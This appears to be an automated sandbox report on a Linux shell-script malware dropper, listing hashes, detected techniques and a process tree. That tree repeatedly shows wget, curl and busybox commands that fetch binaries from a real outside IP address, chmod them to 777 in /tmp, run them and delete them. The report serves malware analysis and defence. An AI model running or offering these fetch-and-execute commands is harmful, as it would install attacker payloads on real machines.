e78d58a2a691d411fb34a95dcc0cb7336dbeb10e6ac722f7cdb34fe6292ff5bb

Analysis

max time kernel
138s
max time network
142s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22/10/2024, 01:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
e78d58a2a691d411fb34a95dcc0cb7336dbeb10e6ac722f7cdb34fe6292ff5bb.sh
Size 10KB
Sample241022-cd1mrasdkk
SHA256 e78d58a2a691d411fb34a95dcc0cb7336dbeb10e6ac722f7cdb34fe6292ff5bb
MD5 14f447296a85bd7fd20caa0d2ad3b6e3
SHA1 abe26e0204e8a7e83ea1f42f36684213056ee5fb
SHA512 ceb5ba2500042c27dc707d183a45d4bd563b7471ba2dd3b4bceeac46c7aee67474cdd0a7ffedf3409d0b74b70b26c9b9a7a2e989d2b57c0cf0890bb3eba7283a
SSDEEP 192:1eWm/rvd7jUvcutPntn9n8nfnTn6ntn9n8nfnTn/7jUvcuJcu:1eWm/rv3e/xhevTIxhevTt4cu
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
760	chmod
884	chmod
830	chmod
872	chmod
890	chmod
950	chmod
956	chmod
734	chmod
812	chmod
878	chmod
896	chmod
938	chmod
740	chmod
860	chmod
908	chmod
920	chmod
926	chmod
932	chmod
902	chmod
726	chmod
806	chmod
852	chmod
914	chmod
788	chmod
866	chmod
944	chmod
962	chmod
968	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
811	busybox
813	rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
814	rm
937	busybox
939	rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
940	rm
809	wget
810	curl
935	wget
936	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u	curl
File opened for modification	/tmp/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W	curl
File opened for modification	/tmp/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs	curl
File opened for modification	/tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh	curl
File opened for modification	/tmp/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS	curl
File opened for modification	/tmp/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ	curl
File opened for modification	/tmp/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd	curl
File opened for modification	/tmp/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5	curl
File opened for modification	/tmp/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX	curl
File opened for modification	/tmp/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5	curl
File opened for modification	/tmp/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W	curl
File opened for modification	/tmp/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ	curl
File opened for modification	/tmp/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II	curl
File opened for modification	/tmp/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II	curl
File opened for modification	/tmp/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS	curl
File opened for modification	/tmp/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs	curl
File opened for modification	/tmp/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD	curl
File opened for modification	/tmp/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf	curl
File opened for modification	/tmp/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K	curl
File opened for modification	/tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh	curl
File opened for modification	/tmp/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR	curl
File opened for modification	/tmp/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd	curl
File opened for modification	/tmp/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD	curl
File opened for modification	/tmp/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K	curl
File opened for modification	/tmp/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR	curl
File opened for modification	/tmp/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX	curl
File opened for modification	/tmp/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf	curl
File opened for modification	/tmp/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u	curl

/tmp/e78d58a2a691d411fb34a95dcc0cb7336dbeb10e6ac722f7cdb34fe6292ff5bb.sh
/tmp/e78d58a2a691d411fb34a95dcc0cb7336dbeb10e6ac722f7cdb34fe6292ff5bb.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:702
- /usr/bin/wget
  wget http://87.120.84.230/bins/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  PID:704
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:711
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  PID:722
- /bin/chmod
  chmod 777 7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  ./7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  - Executes dropped EXE
  PID:727
- /bin/rm
  rm 7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  PID:729
- /usr/bin/wget
  wget http://87.120.84.230/bins/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  PID:733
- /bin/chmod
  chmod 777 5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  ./5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  - Executes dropped EXE
  PID:735
- /bin/rm
  rm 5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  PID:739
- /bin/chmod
  chmod 777 W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  ./W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  PID:755
- /bin/chmod
  chmod 777 ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  ./ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm ObJV7dexcg1bTXnE7ne4Swn9rxxdZgRV8u
  2⤵
  PID:767
- /usr/bin/wget
  wget http://87.120.84.230/bins/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  PID:768
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  PID:783
- /bin/chmod
  chmod 777 53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  ./53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  - Executes dropped EXE
  PID:790
- /bin/rm
  rm 53rTneENfUgYPFLmMN1IkAfgeVUcaApszR
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.84.230/bins/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  PID:805
- /bin/chmod
  chmod 777 sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  ./sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm sRyvlTN1hWQsWKJq8bHv6OTHzjL6edTWmX
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.84.230/bins/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - System Network Configuration Discovery
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - System Network Configuration Discovery
  PID:811
- /bin/chmod
  chmod 777 rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  ./rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:813
- /bin/rm
  rm rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - System Network Configuration Discovery
  PID:814
- /usr/bin/wget
  wget http://87.120.84.230/bins/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:818
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  PID:826
- /bin/chmod
  chmod 777 Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  ./Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  PID:834
- /usr/bin/wget
  wget http://87.120.84.230/bins/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  PID:848
- /bin/chmod
  chmod 777 XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  - File and Directory Permissions Modification
  PID:852
- /tmp/XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  ./XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  - Executes dropped EXE
  PID:853
- /bin/rm
  rm XW8w8Kcfj71ldoQV7rWmjy3S3t84cckpGZ
  2⤵
  PID:856
- /usr/bin/wget
  wget http://87.120.84.230/bins/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  PID:857
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  PID:859
- /bin/chmod
  chmod 777 L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  ./L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  PID:865
- /bin/chmod
  chmod 777 PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  ./PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  PID:871
- /bin/chmod
  chmod 777 eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  ./eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  PID:877
- /bin/chmod
  chmod 777 14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  ./14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm 14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  PID:883
- /bin/chmod
  chmod 777 Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  ./Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  PID:889
- /bin/chmod
  chmod 777 L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  ./L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm L1UAe4TAEtbsaEl8ggARKfd4rS2fGmLOFs
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  PID:895
- /bin/chmod
  chmod 777 14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  ./14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm 14DYl53h6g8XCtqz6I2atSASt6rgAbK1II
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  PID:901
- /bin/chmod
  chmod 777 Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  ./Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm Xur71qmktZGG4uvx8Pt6CYrCR6VTCJRP2W
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  PID:907
- /bin/chmod
  chmod 777 PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  ./PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm PPPfnB87KsCQZVquSTdyk4zczVMdHmu4dD
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  PID:913
- /bin/chmod
  chmod 777 eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  ./eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm eAP7GBCFFROfpNGLX3FX6Bd1U5Hq5gC9Pf
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  PID:919
- /bin/chmod
  chmod 777 5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  ./5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm 5Vv4nYMtd5zlVG98iVFKOXOo6SmHn6Fw8K
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  PID:925
- /bin/chmod
  chmod 777 W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  ./W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm W5JtI0arbzS8bqs2M0RAtCTcXi2kGYSXdS
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  PID:931
- /bin/chmod
  chmod 777 7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  ./7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm 7cesFB8HrpKZpbeqIJZ1Dy9EkGIFh9j5Uh
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - System Network Configuration Discovery
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - System Network Configuration Discovery
  PID:937
- /bin/chmod
  chmod 777 rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  ./rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:939
- /bin/rm
  rm rOZwitzlEYtsDcOqG2jlEyvuS7IPJZ3bGd
  2⤵
  - System Network Configuration Discovery
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Pk3gt6RqdhvL3wfNKaohe8En8LqpTuWYg5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
